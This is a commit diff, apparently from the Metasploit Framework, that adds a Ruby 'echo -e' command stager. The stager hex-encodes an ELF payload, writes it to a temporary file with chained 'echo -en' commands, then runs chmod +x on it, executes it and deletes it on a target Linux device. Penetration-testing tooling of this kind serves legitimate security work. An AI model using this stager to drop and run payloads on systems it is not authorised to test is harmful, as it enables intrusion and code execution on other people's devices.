Land #2371, echo -e cmd stager
commit
e9e1b28ba8
|
@ -0,0 +1,29 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
####
|
||||
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
|
||||
#
|
||||
# This stager uses the echo's "-e" flag, that enable interpretation of
|
||||
# backslash escapes, to drop an ELF with the payload embedded to disk.
|
||||
# The "-e" flag is usually available on linux environments. This stager
|
||||
# has been found useful on restricted linux based embedded devices.
|
||||
####
|
||||
|
||||
module Exploit::CmdStagerEcho
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
# Initializes a CmdStagerEcho instance for the supplied payload
|
||||
#
|
||||
# @param exe [String] The payload embedded into an ELF
|
||||
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerEcho.new(exe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -25,6 +25,7 @@ require 'msf/core/exploit/cmdstager_debug_write'
|
|||
require 'msf/core/exploit/cmdstager_debug_asm'
|
||||
require 'msf/core/exploit/cmdstager_tftp'
|
||||
require 'msf/core/exploit/cmdstager_bourne'
|
||||
require 'msf/core/exploit/cmdstager_echo'
|
||||
|
||||
# Protocol
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
|
|
@ -6,3 +6,4 @@ require 'rex/exploitation/cmdstager/debug_write'
|
|||
require 'rex/exploitation/cmdstager/debug_asm'
|
||||
require 'rex/exploitation/cmdstager/tftp'
|
||||
require 'rex/exploitation/cmdstager/bourne'
|
||||
require 'rex/exploitation/cmdstager/echo'
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
require 'shellwords'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
class CmdStagerEcho < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_elf = Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
#
|
||||
# Override to ensure opts[:temp] is a correct *nix path
|
||||
#
|
||||
def generate(opts = {})
|
||||
opts[:temp] = opts[:temp] || '/tmp/'
|
||||
opts[:temp].gsub!(/\\/, "/")
|
||||
opts[:temp] = opts[:temp].shellescape
|
||||
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Override to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||
@cmd_start = "echo -en "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_elf}"
|
||||
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Encode into a "\\x55\\xAA" hex format that echo understands, where
|
||||
# interpretation of backslash escapes are enabled
|
||||
#
|
||||
def encode_payload(opts)
|
||||
return Rex::Text.to_hex(@exe, "\\\\x")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before ("echo -en ") / after (">>file") it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
parts.map do |p|
|
||||
cmd = ''
|
||||
cmd << @cmd_start
|
||||
cmd << p
|
||||
cmd << @cmd_end
|
||||
cmd
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Since the binary has been already dropped to fs, just execute and
|
||||
# delete it
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
cmds = []
|
||||
# Make it all happen
|
||||
cmds << "chmod +x #{@tempdir}#{@var_elf}"
|
||||
cmds << "#{@tempdir}#{@var_elf}"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
unless opts[:nodelete]
|
||||
cmds << "rm -f #{@tempdir}#{@var_elf}"
|
||||
end
|
||||
|
||||
return cmds
|
||||
end
|
||||
|
||||
#
|
||||
# Override it to ensure that the hex representation of a byte isn't cut
|
||||
#
|
||||
def slice_up_payload(encoded, opts)
|
||||
encoded_dup = encoded.dup
|
||||
|
||||
parts = []
|
||||
xtra_len = opts[:extra]
|
||||
xtra_len ||= 0
|
||||
while (encoded_dup.length > 0)
|
||||
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
|
||||
# cut the end of the part until we reach the start
|
||||
# of a full byte representation "\\xYZ"
|
||||
while (temp.length > 0 && temp[-5, 3] != "\\\\x")
|
||||
temp.chop!
|
||||
end
|
||||
parts << temp
|
||||
encoded_dup.slice!(0, temp.length)
|
||||
end
|
||||
|
||||
parts
|
||||
end
|
||||
|
||||
def cmd_concat_operator
|
||||
" ; "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue